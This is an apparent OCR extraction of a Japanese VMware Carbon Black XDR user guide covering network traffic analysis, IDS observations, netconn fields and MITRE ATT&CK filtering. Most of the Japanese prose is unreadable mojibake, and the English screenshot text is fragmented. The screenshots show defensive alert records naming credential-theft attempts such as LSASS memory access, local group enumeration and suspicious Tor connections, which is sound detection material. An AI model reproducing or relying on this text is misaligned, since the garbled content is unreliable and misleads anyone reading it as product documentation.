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VMware Carbon Black Extended Detection and Response (XDR) (. T LA NUZEZFRALTSTIIL &
FaUTFq=REBIBIELET., EFa2UT 4 F—AIE VMware Carbon Black XDR #;EH L TERELEDE
BERRICHFHEL. BILERY S —Z2BRATHBICTREBERICEDVERREEZTOENTEET,

VMware Carbon Black XDR (3, TV RARA >V hET—oO0—-ROEF1 )T #EEEHEL. Fv hT—2(C
W AEELARMEERIFTAHLET, EAFHIRL. EBELURRICHRELET.

The Future-Ready SOC

Using XDR to achieve unified visibility and control

vimware' Carbon Black
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VMware Carbon Black XDR (. T RAKRA > b, —20—K, I—H¥— BLUORY T -0 2&THREMAE.
P IBEEIRT DY —IET—FDHETT,

VMware Carbon Black XDR (&, XDR D%y 7= FUARNUDEBMICESEH T, Xy 7= Ty b
ET7OTRICET 2HEFHEIERELET.

XDR DF#HIZD UV TIE. Extended Detection and Response (XDR) & (3?2 SR LTS EE ),

VMware Carbon Black XDR

One agent. One console. One platform.

Go beyond the endpoint to see more and stop more

—’ Identify Risk Prevent Extend Detection & Response s
Vulnerability Audit and - N Endpoint Detection Network Analysis
( Management )( Remediation ) Ge"‘ Gen A”“""UD ( Device C°""°‘> ( and Response )( and Visibility
{ Identity Intelligence ( IDS Observations )
Ecosystem Managed Detection
Integrations and Response
[— ]
« H— D —Ln—

Workloads Cloud Endpoints
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VMware Carbon Black XDR R L T, BET L3y b7 -0 TS ERAIRILBELIUNHTEET. 6 :
B Xy NT—UEEDEE JASBLV JAIS HATUTH)

Ry hT—ODRAKRE

m EFaUTa SyN—0HME (TLS 7—%)

n GIAEDEELE WBESL-TLS 7—%)
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XDR D1 —RT—2XA,

XDR ZEALTI Y RIRA 2 bDBEERE L THINT 2HERZHHYES., UTREOG—HENEI-RAT—R
TY,

RNV T4
BEDR Y T — 2 CRENST TR ATEEEENTT NS $<OtFaUFs FoARTOT 274 T
BBENYT 1 > U ETOBMERDIIADICES LTOET, XDR OFL A MU BLUEBLIEEERT

& COEDLZL EBFNCRITTEDLO, EFaVT 4 FT—LORRPKBICEREIN, ORI E
—HBICBRN\T AV VERTTEDLIICABVET,

NI

tFaUT 4 F-LORBEELGHEED 1D 75— bOBEIRUMFIELZE M7 -2Z2T0 BRHEER
7o —MIRRCHIETHZETT. XDR (3, BALBAREFEAL T AFHOT -~ EIBOBEEDS
W7 S—hMCBEEMIFHILET. /A REERNTHDICEIBET,

RE

XDR QLR T—FIRE. BNLARE. SLOBHNHICEIY. EFa VT 1 F-ARBEORET. L&
FiE MOI—F =T N, ADPFEBEZ (T HARMEZRENDBRSICHETEET. NE BREHIRL.
SEBOEHMICHLTRY b7 -0 ER(LT HIHICEETY,

XDR & EDR DEWIFI T n?

XDR(E, 7—20—R, FNA R, A—Y— Xy 7 —=0@E BEADIRTOEFa2UT»1 L4V —IThi=
> T EDR DO#ge xR L E T

XDR (3. EDR D2t 5 B—DHLATII/ELS, EHOEF2UT 4 LAV —(CDEBT VAN LEERTER]
BEICL., EFaVUT 4 F-LD2RGELETEDSLDICLET.
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DUAY—[CHIRT D &EETEERA, EDRICKST. £FaUT 4 BEMREFBESNAIREEDH DT > FR
AV RERAIRAETELRIN EFaUT 1 F-LADRBT DAIIC, BEDRY b7 -0 EZBATHRO S AT LAICES)
LTWESEIZETATRSY £ A,
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netconn F>7 4 v U EHA L THEETZBARM AT AL (IDS) & 7/ UEHT B0y T —2
740 (NTA) BEASNTINVET,

Netconn &¥—%

XDR (Zx v b T —2## (netconn) 29\ L. CNOSDNHEBE/N\V T4V ERABICHLTRRLET. #BE
TZ% netconn 74 —=ILROURKMIDWTIE, 4 EXDRIERET7 4 —ILRESHBL T EE L),
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ZRLTSIZE W,

s CB 9

s OVTURNTIOTAET4
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B BEA
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. BRARMIRT A

m Xy bT—=0 STV IDRIR
B RAM=—XDTZ7AT7T+—)

. REBEEOATPT—%

BARMS X7 A (IDS)

MicrolDS v b T —U R8T 2 (d netconn A XY hTERITEN, IP ATy hEFERALTEREDELET,
ZDI > r(F. Carbon Black Cloud 3.9 LIFED Windows >3 —[CHAAENTIVET,

IDS [CIFUTOH=DHY £,

B AUNTRBROTIOMO YRRy bT =0 bST7 4 v 0 EERT S
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m BRELURYNTI—U SIS T4 v OERETS

[(RARM AT AL [T5—R] [7AER] [BA]IEEOZ 4)VY 72 3>TY,

XY bMIT—=0 ST 4 v 094 (NTA)

Ty bT—=0 cZT7 40900 (NTA) (2. XY N =D AMEET VT ETAZERLT 7/ VERBEL
9, NTADAU Y MIKRDELYTY,

n BELAVTFAMERMISIET. Ry T —UDRIRMEER L

m 7/TYUTOI OB

. EFaUT4 MUT-DREBEOXIE

Fy b= Ngy ot naT 23 ERRREEHL. BDOLVWBEEERTDDICRILET,

K

TIME ¥

2:49:12 pmjul 19, 2023

12:3217 pmjud 18, 2023

12:32:16 pmjul 18, 2023

12:32:16 pm jul 18, 2023

3:30:47 pm Jul 17, 2023

TYPE/REASON "/

MNetwork Traffic Analysis

DO-NOT-UPGRADE-3DOTS-1 received a connection on an unusual port (445) from 21

Network Traffic Analysis

DO-NOT-UPGRADE-3D0T9-1 received a connection on an unusual port (5357) from

Network Traffic Analysis

DO-NOT-UPGRADE-3DOT9-1 received a connection on an unusual port {5357) from

Network Traffic Analysis

DO-NOT-UPGRADE-3DOTS-1 received a connection on an unusual port (5357) from

Network Traffic Analysis
CBSE\chpsery received a connection on an unusudl port (47001} from 11,

Carbon Black (. &®d 3 fE$ED NTA t#&tHzsE2RLTWVET,

T5—k 547

IP7a7745

A—-HY—I-Czrb7OT7745

K=t 707745

B

BERANDEHRTZVE-—NIP 7RUVREEFERDUE-NIPT
RUREEHEDO-HNIL KRR N EDEHEFELET.

LRIDTNAR 7T 4 ET 4 LEBRLT, O—hA)L T/NAZRDSFT
DNERCTREELRHTTP Y- I -2z hEFELET,

Xy T —OEBEOVWTNODORTEE LR 7T 4 ET 1 28R
LET. ZOT75—h 471217 RO 4 DONUI—> 3> hBHY
3

NEAR—~ TOT7A5

RER—~ 7OT7 745

N —NR—b TOT745

RNEH—NR—b 7OT7745

[*y bD=2 b3T4v 0] & [75—H] [TRER]L [BAIEBAOT 45 AT 3>TY,
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MITRE ATT&CK EEE& & il
MITRE ATT&CK® (4. Carbon Black Cloud 3>V —/l2&E LU XDR ITRRENFET. XDREFTIEH Y
FtH A,

MITRE ATT&CK (&, B RI7G 8B ST DF Ly DNRN—RELT, EFa VT4 ERICE > TESERAEINTHE
9. MITRE ATT&CK DOFICDWTIE, MITRE ATT&CK (4hERY > &) Z2FHBL T2,

BB, RMOBRICHDIEMNERLET. /& ZIE TA0001 O MITRE ATT&CK BB ID (&, WEENRY b
—VICRBALELDIEL TSI EERLET,

i3, WBEBEDOLD ICHEBLTWEINERLET, /=& (E T1548.003 @ MITRE ATT&CK #1if ID (£,
WEEMPEREFRKLT S0 sudo F v aZERITLTWSZEERLET,

[ [7>— k] [7AER] [7ACRER] BEOD Tactic 74 —JV K& Technique 74 —JILRET 4 L%
U>J, R WRBEXTEET., -
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B2k
n [RAIEmE (77— ] BEOXRIC [BER] & 3] S0mAZERRT BHICIE. ROETICHD [RDOERK]
ZOoUvoLET,

Columns Reset 3

Hidden

05

n [BRI 7232200y LT BBELARMOBUBEZRRLET. [FRINAAT. [FEl 25Uy oL
T MITRE Web ¥4 ~CB#L THBZHERTEET,

n [BAL [T75-FL [7Z-bOMUT=2] BEO [BRADEFE] XA (S MITRE ATT&CK ¥l & il
RENET,

OBSERVATION DETAILS
Type Intrusion Detection System (IDS) @
on TCP traffic from asset matched IDS

signatures for threat Kerberos Authentication
Failure. SVCHOST.EXE made a connection from
10.30.5.2 to 10.101.1.252
4:59:12 pm Nov 21, 2022
Kerberos Authentication Failure @
IDS:05628395@

MITRE ATT&CK

Tactic TADOG - Credential Access @

Technique T1110 - Brute Force @

VMware, Inc. 13
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KD A BMZE XDR L VUsg{kE =
NTORET7 4 —IL RDTEETY R

netconn_actions
netconn_bytes_sent

netconn first packet timestamp

netconn_ja3_remote fingerprint

netconn_remote device_ id
netconn_ request method
netconn response_ status_code

netconn_tls_certificate_subject n

ame

netconn _tls version

VMware, Inc.

netconn A XY FDORB(IERATEZRET 4 —ILRERLTVWET, T
SBA. BICDWWTIE, ®ERAD [REHAR] 28RBLT/ZE0),

netconn_application protocol

netconn_community id

netconn_ja3_local_ fingerprint

netconn_ja3 remote fingerprint fi

elds

netconn_remote_device name

netconn_request_uri

netconn_server name_indication

netconn_tls_certificate not_valid

_after

netconn_bytes_ received

netconn_domain

netconn_ja3_local_ fingerprint fie

lds

netconn_last packet timestamp

netconn_request_headers

netconn_response_headers

netconn_tls certificate_ issuer_ na

me

netconn_tls_certificate not_valid

_before



RS —I2K B XDR DERMIL

XDR 2y b= T—HWREFZT 7 AV M TERHT/IE>TWET, RUL—DBEIUH TSN TWDE T —D
XDR vy hD—0 F—HINEEZBEHICTEET, T—FPREZEMNICTLTH, VMware Carbon Black XDR (&
BACHRVERA, T XDRRY NI —0 T—492INRETDHOEEFILLL. /A RERRTDEFTT,

FlE

1 EEOFET—2ay R4>T, EAR]-[RUL—]DIBEICIU v LET,

2 RU—ZEBRLET,

3 [Sensor(tx¥—)]4T7&0 v o LET,

4 [XDR Xy hT—0 FT—9REEBNICT B REDF vy Ry U R BEIRBBRLET.
5 [RE]IZEZVVYILET,
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Carbon Black Cloud 2>V =)L T XDR F—4 £BETH5AEK TN DhHY ET.

[ZotX] [#A] [75—hF]BEETXDR T—4Z0RBTEET,

/LT -4 ChoDERSLY [TOCRBER]IEEE [T75-FDM) T -] BE CHERTEET.
ROREYIESRLTES,

. [7OER] £/E [BA] BETO XDR 7 —4% OHRE

s [75—HF]BEETO XDR 7—% DG

[ZO+R] £7/(3 [8R8]] EE@TO XDR F—4% DG
[7OER] £/2F (8] BEE T DHODIEERED XDR F—4 ZWMEBT 5 A EDOERICRELET,

Flig
1 EHAOFET—2ar RA42T, HBAEIZZ2VvILET,
2 [AFEIEET[7O0RR] FLE [N 20Uy LET,

3 HEADO[TZA4IWFZIRAVT, [7TUr—> 3> JAOMIN] ETRZO0—IILLET, UTFO7AMIINTT 4
IWE) I TEET,

= HTTP
x TLS
= RDP
= DNS
= SMB
= LDAP

m  Kerberos

Erbh: HHICHAE 3DORY FD ] A=a2—%22Uvy o LT, AYY—ILIZRRENBZ T 4T EHER
LExd., #:
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<] <]

[ ] <]
)

< I I <]

ATT&CK Technique

Apply

4 WHRIUTVZEHEBELTRITLET. £EZIE netconn domain:go.microsoft.com ZHRERLET,

E: AZEXDR#BETZ 4 —ILRD netconn BED XDR#BET7 4 — L RESBBL TS, 8RR B8R
HAR] OFTRTOBREBET 4 —ILRESHBL T EE L),
ROARTY T

REFBRERTBLIUVHAERTSHHEICDONTIE, 7EXDRT—Y DR €SB TS,

[75— ] EBETO XDR F—% DG
[75— M BET XDR 7~ £RET 5 AP ERICRUET,

FlE
1 EAOFESF—>a3ar RAUT, [75—HR &2V ILET,
2 EBOD[Z4IZ]RA42T, [ATT&CK 8ilig] F TR O0—)LL. TA0002 ZEIRLET,

EX b WICHAZIDDORY bD [#EH] A=a2—%220 Uy oL T aAYY—ILIZRRENDT 4 )LF EHERK
LEY. #l:
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Filters X

Type

Anomaly Classification
Device

K8s Cluster

K8s Namespace

K8s Workload

Reputation
Run Status
Policy Status
Sensor Action
Policy

Tags

ATT&CK Tactic

ATT&CK Technique

3 BMBIITVEBELTRITLET, fBl: Intrusion Detection System &7 4 JILFZ UV I LET,

F721%. [#FK] /N\—T type: INTRUSION DETECTION SYSTEM ##RTSHILHTEET,

EF: 4AZEXDR#BETZ7 4 —ILRD netconn BED XDRBET7 4 — L RESBBL TS, 8RR B8R
HAR] OFTRTOBREBET7 4 —ILRESBL T EE L),

RORT YT

REFERERTEIVHARTSHEICDONTIE, 7E XDRT—Y DR 2T LTSS,
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XDR 7—% DR

XDR & U netconn ¥—# (3. Carbon Black Cloud o>V — )L CHRTEET,

XDR LU netconn =% (3. SEIEHRAERTTERRBLUVAETEET, f :

[(7OEX@BF] BEICIE. HED netconns (ORI, §A4ARY T ANv&—) [CEET RBEMNERNE
RENET,

[75—rDRU7—]1EEICIE IDS BB®D netconns £RAXRTT ARy T —2 /—RPBEEENTNE
ER

MITRE ATT&CK Effig L3%flT1E. [75— ] [7Z—rD MU T7—=21 [BA] LU [TORER] BET
FATEET. IN5DT74—ILREFEALT, [TACRIBEETH 74NV IELURBETEET,

ZE: MITRE ATT&CK (3 XDR ICEB TlddH Y £ A, Carbon Black Cloud 1 > X% > X(ClF. ZDIFHR
PRRENET,

[(ROBR] A7 arE2FRLT 7ORRFLELUVRY FT—0FRLODE1—EBETEET,
Application Protocol 74 J)b#Z(F. [75— k] [BA] LUV [TOCR]EETERTEET,

LR—bEN/= netconn 7= 504+ v FURANEEBETEET,

FHICDONTIE ROMEYZEZSRBLTIIZEL,

RDEEYVESRLUT LS,

[ZOtEX@EHF] BETD XDR F—4& DR
(78] BEm <D XDR &¥—4 O
[75— ] BETO XDR F—4 DR

[7Z2—bDMUT7—=2]EETO XDR T —4% DR

[7R & X#ER] BETO XDR 7 —4 DR

ANV RERBLES, [TACRBIR] BECT - 2R TEXT,

E

XDR 7974 ET 4 DREAEICDODNTIE [FOER] 23 [BR] BETO XDR T—4 DmBE 258H

LT<L7ZE,
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EROFES—2 3> RAVT, [AR]Z2VUv oL, [FOR]EHF U4 T7E20) v o LET, RIS, B
MOTAFL0 [FOt @] B 7oaves0vsLET,

raw netconn OFAZEE TE D LDV ELE, 7=E21E XDRMWIGCATADTZA NI, A4 LRY >
7 BEKOT T3y ANy — FTIPRREINET.

P ROCELE ANALTOE

@ Primary Process Selected Process 5:47:49 pm Mar 9, 2023
taskhostw.exe taskhostw.exe taskhostwexe & _
FILTERS Clear & Search Guide
| Q, search
— Type(1)

. 1Me =

TYPE EVENT
<+ Domain (1)
© 5:47:47 pm Mar 9, netconn Outbound TCP 10.203.97.145:50413 to 40.74.108.123:443 (settings-win.data.microsoft.com)
2023
+  Filemod
+ Regmod AT-A-GLANCE CONNECTION DETAILS Search
-+ Modload Application protocel TLS Action ACTION_INBOUND_PACKET_INSPECTED
Netconn protocol  PROTO_TCP ACTION_TLS HANDSHAKE
+  Crossproc Local [P 10.203.97.145 Direction Outbound
PID 2
I chidproc Local port 50413 -
Remote IP 40.74.108.123 evicename -~
+  Sensor Action Remote port 443 Device ID =
e ——— Domain settings-win.data.microsoft.com R AT
—  Application Protocol
[« y ID [3 453086423d29b3¢75bC24b7125009921924(75a3 e i i @2 T
s ” Proxydomain  —
Proxy IPva =
Proxy IPv6 -
4+ Local IPv4 (1)
+ Remote IPv4 (1) APPLICATION LAYER DETAILS FLOW EVENT DETAILS
s 47
+  Localibve First packet timestamp  5:47:47 pm Mar 9, 2023
Version 1.2 Last packet timestamp 5:47:47 pm Mar 9, 2023
+ Remote IPvé Server name indication settings-win.data.microsoft.com Bytes sent 216
ificate | Bytes received 2720
+  RematePort(l) Certificate issuer
Name: C=US L=Redmond,0=Microsoft Corporation,CN=Microsoft Secure Se
Device Name rver CA 2011/T=Washington

Notvalid after: -

= EEIDAEEI Notvalid before: —

Name: C=US,L=Redmond,0=Microsoft,0U=WSE, CN=settings-win.data.micro
soft.com/T=WA

Notvalid after:  10:59:23 am Sep 30, 2023

Notvalid before: 10:59:23 am Jun 30, 2022
+  ATT&CK Tactic

A3
+  ATTRCK Technique Local fingerprint  28a2c9bd18a11de08%ef85a160da25ed
Local field 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-

49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-2
3-65281,29-23-24,0

Remote fingerprint 2fe9b0e731d3d41b2bB4e8e] 6186836
Remote field 771,49200,16-23-65281-0

F 0 [FTOTREF] BEEO—MRISIERICDVNTER, TOCR@BIRESBL TS A,

[&7:8]] B CTD XDR 7 —% DR
[#8] BET XDR 7~ WS 5 LURRTE £ 7.
EROFET—> a3 AT [BE] 22Uy oL, Bl 5765y 5 LET,
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VMware Carbon Black XDR 2 —#— #4 K

INVESTIGATE Search Guide
Q Search ~ | 3days | All results
i e I
FILTERS Hide A
500
- Typels)
. . 50
Irdiestor ef Attack 748 |
B Anatytics arw | l
== = == ull.___ I S S =
v a5 | - it B el e -
= = = E:00pm 12:00am 12:00pm 6:00pm L200am 6:00am 200pm 6:00pm 200am &:00am 12:00pm
Network Traffic Analysis 0 | 4 S
| irtnusion Detection System < 1% |
2,167 results View By = Default ~| Group by | Sefect ~ | Export
+  Event Type(s) -
TIME ¥ TYPE/REASON " USERNAME ' DEVICE ATTECK TECHNIQUE ACTIONS
—  Process (50+)
\ Search | 5:15:12 pm Tamper oty Deey NT AUTHORITYSYSTEM T1003.001
—_— Jun 6, 2023 The application taskhastw.exe requested the content of lsass exe, A LSASS Memary (1) -] >
| -stemIZwbemiwmipese.exe $7.1% | Deny palicy action was applied
_ermware toolgivmioolsd exe 15.9% |
Peupdateigocgieupdate.exe 14.1% | 5:15:03 pm €8 Anal NT AUTHORITY\SYSTEM -
—= = - = Jun 6, 2023 An apphcation on the Compary Black List (xcopy.exe) was detected, -8 >
~lugnsfaceloduninstaller.exe 314 |
_romepplicatiomichrome cut 2% | = .
r = = 5:10:48 prm Indicator of Attack Policy Dery CEAWTDAAdministrator T1003.001 -2
| dtem3Zcompatteirunnerexe 1.2% | Jun 6, 2023 e application goog) the content of LSASS Memory (1) >
Isas5.exe. A Deny pobcy action was applied.
+  Effective Reputation ()
510:48 pm Ind| of Attack Fticy Dery | NT AUTHORITYSYSTEM T1003001 ~
+  Process Hash (50+) Jun 6, 2023 The appl qf the content of LSASS Memory (1) o8 -
Isass exe. A Deny policy action was applied.
T Container
510048 pm €B Analytics NT AUTHORITY\SYSTEM -
+ Coatalnerimage Jun 6, 2023 The application 114.0.5735.110_chrome_installer.exe invaked £
anaother application (setup.exe). A Deny Policy Action was applied.
—  Device (11}
|, Search i S04 e Indieatar af Lrtarck NT ALITHORMASYSTRM TiANI NN _
I T 2w | Showing 1-50 of 2,167 configure Table. items per page | 50 v | jumpto page [ 12345.. 44

ek

—  Application Protocol (1)

HTT? <0.1%
—  ATT&CK Tactic (3)

TADDO6 - Credential Access 5.8%
TAODO2 - Execution 0.7%

TADOO3 - Persistence “0.1%

—  ATT&CK Technique (4)

Q Search

T1003.001 - LSASS Memary 6.3%

T1055.002 - Portable Executa..  0.71%

T1547.001 - Registry Run Keys... <0.1%

T1543.003 - Windows Service  <0.1%

[ERAIFEM] X4 > D XDR 7—%

BRDTATLDEICHD > 7AAELY VI LET,
ROERRT, IDS RO

VMware, Inc.

RD7 4 IVE L BRZRRY 5 EE(ITHICERTT,

HHERLTWEY, XDR T—4 DEARTEINET.
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Observations Processes Auth Events New Investigate experience C ®

FILTERS Clear Time increment (im) @) (19) (1w

g

Hide A

— Type® © 2 :1
8
Watchlist 35.3% 5
@ o . . ~ o . L
Host-Based Firewall 25.4% é [T alll 1. ul - T[] I H
CB Analytics 10.1% 12am 6am 12pm 6pm 12am 6am 12pm 6pm 12am 6am 12pm 6pm 12am 6am 12pm 6pm  12am 6am 12pm 6pm 12am 6am 12pm 6pm 12am 6am 12pm 6pm
« >
Intrusion Detection Syst... 6.7%
[Device Control 519 |
(ndicator of Attack —_ 1.3% 10,000 results. 15% of available data processed. (?) Export
EVENT .
— EventType (9) © TIME ~ TYPE/REASON TYPE USERNAME < finding ID: 11215830 < Previous | Next> (3 X
Childproc 72.1%
Net 155 1:51:22 pm Streaming Analytics netconn OBSERVATION DETAILS -
etconn )
- Nov 22, 2022 The application C: | : i
ype ntrusion Detection m (ID!
Crossproc 8.2% \WINDOWS\System32\svchost.exe -k utcsve -p Type trus ect System (IDS) ©
established a TCP/443 connection to Reason TCP traffic from asset matched IDS
Filemod 4.0% 20.189173.14:443 ) signatures for threat Kerberos Authentication
— (v10.events.data.microsoft.com, located in San i R
Modload <0.1% Jose CA, United States) from 10.203.105.21:54217. Failure. SYCHOST.EXE made a connection from
& " The device was on the corporate network using 10.30.5.2 to 10.101.1.252
egmo <0.1% the public address 66.170.99.2
(WEBO1.DUNDERMIFFLEN.COM, located in Time 4:59:12 pm Nov 21, 2022
-+ Process (34) ESZZLZ;‘UTA’ United States). The operation was Threat Kerberos Authentication Failure ®
+ Effective Reputation Rule IDS:05628395 @
1:51:19 pm Indicator of Attack childproc
Nov 22, 2022 The application powershell.exe launched the MITRE ATT&CK
-+ Process Hash (50+) process net.exe with arguments localgroup Tactic TAO06 - Credential Access ®
administrators to find local system groups and
+  Asset(6) permission settings. Technique T1110 - Brute Force ©
-+ Username (5) 1:50:20 pm Intrusion Detection System netconn PROCESS
Nov 22, 2022 TCP traffic from asset WIN10-mscott matched IDS SVCHOST.EXE
+ Parent Effective signatures for threat Kerberos Authentication
i Failure. SVCHOST.EXE made a connection from
Reputation((3) ERE T 5 Effective reputation  ADAPTIVE_WHITE_LIST
+ TIP@8) Deleted Not deleted
— 1:48:08 pm Indicator of Attack childproc fied
__ Application Protocol Nov 22, 2022 The application cmd.exe launched the Verified

=y .

H5 1 D0FIF, ERIZBEHERIT SN TS netconn T—4ERLTWET,

NETCONN
go.microsoft.com

CGutbound

HTTP

58713
Remote IP 2378114
Remote Port 80
Remote Domain go.microsoft.com

Toronto OM, Canada

& (B BEO—RRMSERICD VT,

%ﬂi

B -BAMEZSRLTILZS,

[75— ] BETO XDR 7 —4% DR

[7Z2—h]EETXDR T4 EMEELUVHERTEET,
EROFET—2ar RAT [75—F &0V v I LET,

™
x -

m ZDMEYITIE [75— R EET netconn £ 7O CREZHNTNSZ EA2FHREELTVET,

FIEETOD XDR 7—4 DHE] £FRBL TS,

[T P EEO—MIEERICOVTE. 75— FOFHERTESRL TS,

VMware, Inc.
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BHIDTATLDEICHD > 74 EV )V I LET,

ROEKE, IDS 75— DEZRLTNVET,

ALERTS
Q| Ssearch

FILTERS Clear © & e
= Type(s)
Watchiests 2.8 [] ®ran
CB Analytics 626

[ status

Network Traffic Analyss 10

Hesz-Bused Firewall 1 [] ®ran

—  Pricrity (1)

Value Alert severity

] & Ra
Low v Bl 32 |— R

Anomaly Classification
] @& Ran
+  Davica [5)

SEVE.. ' TYPE/REASON
u Intrusion Detection System

UDP traffic from DEVO1-39X-1 matched

Phishing: Onkine Service signature
n Intrusion Detection System

HTTP traffic from device

VMWDPWIOCBWS3MALTPLT matched IDS
signature for threat Suspicious Tor
Connection

n Intrusion Detection System

HTTP traffic frem device VNOWDPcbw 1 Oxdr-

04 matched 105 signature for threat
Suspicious Tor Connection

u Intrusion Detection System
HTTP traffic from device
VMWOPWIOCEWSSMALTRLT matched 105

Group by | None
CREATED ¥
104851 am

May 2, 2023

61220 pm
Mar 10, 2023

60959 pm
Mar 10, 2023

9:50:41 am
Mar 10, 2023

ROMEIF. 75— bOFEME [Netconn] BlREZRLTWVET,

« Expand

ALERT DETAILS

| Mext> [ >

v

AlertID fbc52ddc-5a70-3fcB-8d14-dB3bb79a575e

Reason  UDP traffic from
Service signature

Workflow

WHAT TRIGGERED THIS ALERT?

matched Phishing: Online

Threat Phishing: Online Service (1)

Rule Signature d2165bc7-f159-4f7c-9eaa-

65c5a6007a% (1)

Observations -

Last observation 10:43:52 am May 2, 2023

MITRE ATT&CK

Tactic TAOOO1 - Initial Access (1)
Technique T1566 - Phishing (1)

PARENT PROCESS

“ . B v
Services.exe
CMD CAWINDOWS\system32\services.exe L/,"_J
Effective reputation COMPANY_WHITE_LIST
Run by NT AUTHORITYSYSTEM
Deleted Mot deleted
Signed Microsoft Windows Publisher
Show all
PROCESS

~ @ D'E v
svchost.exe
CMD CAWINDOWSh\system32\svchost.exe -k |

MetworkService -p -s Dnscache &
Effective reputation TRUSTED_WHITE_LIST
Policy action ALLOW
VMware, Inc.

Seacch Guide

< | 3months S CL

Expand | Next> X
ALERT DETAILS -

Mert 1D fbocS2dde-5070-3fc8-8d14-d83bLT9a575e

Reason  UDP traffic fram matched Phishing: Online
Service signature

Workfow [ Gpen

WHAT TRIGGERED THIS ALERT?

Threat Phishing: Online Service (1)

Rule Signature d2165bc7-159-27c-9eaa-

B5c515007a%a (L

Observations =

Last observation 10:43:52 am May 2, 2023

MITRE ATTECK

Tatic  TAGOO! - nuial Access (1)

Technigue T1566 - Phishing (1)

23
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[75—bDRUT—C]EETO XDR 7 —% DR
XDR 5 £MBLLES, [75— hORUT ] BETS —5 £ RBTEET,

Y

F: XDR75—b F—4DOBEFIEICDONTIE. [75— P EETD XDR T—4 DHMEEZRBL T LI,

ERDFES—2 a3y RAVT. [F5—F 20Uy s LBHNDTAFAOEICHS [75— D rUT7—] ©
FAAVEL Yo LET.

[T72—brDMUT—1HIE IDSEEDRY DU —ViEREHARRKT ARy bT—20 /=R (RAAFEEIE
IP7RLR) ZRLTVET,

TERDORA T, [BE] 4 TEBIRLT, ROT7 4 —IVREXRRLET,

n BADITON [FEE]

s B [EAR]L @ smleEncaY b TURIICFIARTEEL s/cEa—K U bFHlZZEL —TY,
m BAENJALETORREZRTLE [1-Y—4]

n [Tty H]

n  [ATT&CK #iBg & 1]

w  (ERAARER [T a ]

TS hERETDERREND [BUADOFEM] R4 > IC. MITRE ATT&CK Bl & T K2 DD netconn
T PRRENET,

Observations Alert Origin, Behavior, Notes & Tags
New Investigate experience (il ) @
2 results Export
2 TIME a REASON USERNAME ASSET ATTECK TACTIC ACTIONS
~ 6:47:53 am Intrusion Detection System TADO10
Mar 3, 2023 HTTP traffic from device matched IDS signature for threat Suspicious Tor Connection. po Exfiltration (1)

wershell.exe made a HTTP/80 connection from 10.52.4.84 to 199.58.81.140

OBSERVATION DETAILS TAGS

NETCONN
ici jon @ -
Threat Suspicious Tor Connection (1) Attack stage Application protocol HTTP
7  82d2-4136-bd63- O]
Rule  Signature b8dbc328-82d2-4136-bde3-fdbcc1773d34 (1) DEVICE Netconn protocol ~ PROTO_TCP
MITRE ATT&CK Device name Local IP 10.52.4.84
Tactic TADD10 Device ID 18078341 Local port 62388
N
Eiilim 0s WINDOWS Remote IP 199.58.81.140
Technique T1048.002 ;
Sensor version Windows 10 x64 Remote port 80
Exfiltration Over Asymmetric Encrypted Nen-C2 Protocol emote po
@ Username Domain =
PROCESS Community ID [} df77d05ddof520d7148d80293b32ba24066005aa
PID 8088 Action ACTION_OUTBOUND_PACKET_INSPECTED
ACTION_HTTP
Target name powershell.exe ACTION_IDS_ALERT
Direction Outbound

Device name

Device ID

Last location

Remote location ,,Canada
Proxy port

Proxy domain

Proxy IPva

Proxy IPvé

F: [TE2-bOMIT -] EEO—MIIEBERICOVNTIE. 77— FORAIRIEESZRLTIZEL,
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IVRRAVMEDTZ TV =2 a3 vBL0TOFRICE > TETEINDI LM UEBELRIILEREORASD,

Carbon Black Cloud [CRESNTWS TR TOERBMDFMEZRAES IO TEET.

=

m  Carbon Black Cloud Endpoint Standard ERI1—%—0 [AZE] R—2 Iy TPRRINERA, T7+
bk Ea—(3 [E8RE] T,

m [BH] [TOt®R]. BLU[FREA X2 ] # 713 Carbon Black Cloud Enterprise EDR 21— —MD&H3
FRTEET,

m 2023 % 9 B 26 HOBRT, [BEltesncaA XX M EaYV—IVpSHIBRENE L, [BA] CESHBA S
nEd,

BREERNPST—F&#INEL, BAETOCRADFMICEDNTCT I 3V ERITTEET,

FAZE] EBmECIE. 2TV OERICEIDIEAHAZD MERAA K] DRRENTVET., SELBRREREEZFERAL

T, 75— MCEATHMBERERRL. AEEZREL T BENMSHEINDIAAR U M B, 7O0CROERE
#IRBTEE T, VMware Carbon Black Cloud 2—H%— A4 R DALY 2o 3>0 [GEREREMN] (]
HSBLTSES,

(R EER

REBICEEAMEEFERALET. =&AL powershell £EIIKEDTA I RA— R : power*,

REZ74—JLR

BWE7A—IVREELT7+—L TV : field:term, ffl : parent name:powershell.exe,

DAV Eh—F

DA RNH—RZEZFEBLTOIIVETRLET, 2 21 DOXFIC—HLET., EZE tert (£ [test] &
[text] ODFERZRLET, * (IEOFLEZTNLULEOERIXFIC—EHLUET., fl: tes* (& [testl. [testingl.
[tester] DIERERLET

77 AIIVRRFRZEICEWVTEBOTAILEA—RBEZSNET, il : process name:.exe,

VMware, Inc. 25
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BEESIAFCHELZMEE®. Ny IRSY 1 TROBHLE (+ - ss || ! () {y [ 1 ~"~
* 2 1 /) BEIRT—TULIEEE. TAIIRA—RENRRIERTEET, fl: (1+1) :2 28R TBICE. KD
EOICABDLET +\ (1\+1\)\:2,

AEF

BETFEEALTIIVERVIALZENTEERT, BEFRIRXFTHILEDNHY ET,
»  [AND] [SEADEANFET HHRICHEREBRLET

n [OR] BWINDPDFEANFET PHFICHERERLET

s [NOT] FFEANFELZVNSSICHERERLEY

HE : [BE#2 [AND] BEFITEET 3]

ﬁ%?b\ﬁﬁﬁéﬂft\fit\%ST%\ Hfzf??iﬂ’*]fai rANDJ o)) ij‘o ;k@{ﬁ]—c(;\ ﬁﬁ@ﬁIUTﬁbﬁ%bxim
SNET.
s COBITIE. ANDJ [ZEEERINTT.

Process_name:X process_effective reptuation:X
. ZOHITIE TAND] (2T UD—ETY.

Process_name:X AND process_effective reptuation:X

IR—T

YO T AMERES IV T LI EFERAT 558K E. Xova, 10V, BRKUOAR-REFHTIRT -7
ERILENHYET,

B {F/8 B Ea B

Bf/EREEEEZERALTI/TVERVADIENTEEY, 4l device timestamp:
[2022-10-25T714:00:00Z TO 2022-10-26T15:00:00Z],

[ ErER

WOV hEECIT)—%, BEPTAIN RN —RTRYALZENTEET,
" [3 TO *] (MEN 3 THRES NV MERERLET,

B [(* TO 10] 310 ETOAU Y MERERLET,
RDEYESRBLTIEE0,

n RBE-T7OEX

. BE- B
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u : 'E;JuIE4’\/|‘
